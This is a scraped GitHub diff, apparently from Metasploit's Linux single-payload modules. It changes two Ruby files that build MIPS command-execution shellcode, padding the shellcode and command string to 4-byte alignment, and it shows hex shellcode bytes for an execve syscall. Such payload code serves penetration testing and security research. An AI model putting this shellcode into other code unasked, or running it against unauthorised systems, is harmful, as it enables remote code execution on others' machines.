File tree Expand file tree Collapse file tree 2 files changed +15
-3
lines changed
modules/payloads/singles/linux Expand file tree Collapse file tree 2 files changed +15
-3
lines changed Original file line number Diff line number Diff line change @@ -66,7 +66,13 @@ def generate
66
66
#
67
67
# Constructs the payload
68
68
#
69
- return super + shellcode + command_string + "\x00 "
69
+
70
+ shellcode = shellcode + command_string + "\x00 "
71
+
72
+ # we need to align our shellcode to 4 bytes
73
+ ( shellcode = shellcode + "\x00 " ) while shellcode . length %4 != 0
74
+
75
+ return super + shellcode
70
76
71
77
end
72
78
Original file line number Diff line number Diff line change @@ -62,12 +62,18 @@ def generate
62
62
"\xec \xff \xa0 \xaf " + # sw zero,-20(sp)
63
63
"\xe8 \xff \xa5 \x27 " + # addiu a1,sp,-24
64
64
"\xab \x0f \x02 \x24 " + # li v0,4011
65
- "\x0c \x01 \x01 \x01 " # + syscall 0x40404
65
+ "\x0c \x01 \x01 \x01 " # syscall 0x40404
66
66
67
67
#
68
68
# Constructs the payload
69
69
#
70
- return super + shellcode + command_string + "\x00 "
70
+
71
+ shellcode = shellcode + command_string + "\x00 "
72
+
73
+ # we need to align our shellcode to 4 bytes
74
+ ( shellcode = shellcode + "\x00 " ) while shellcode . length %4 != 0
75
+
76
+ return super + shellcode
71
77
72
78
end
73
79
You can’t perform that action at this time.
0 commit comments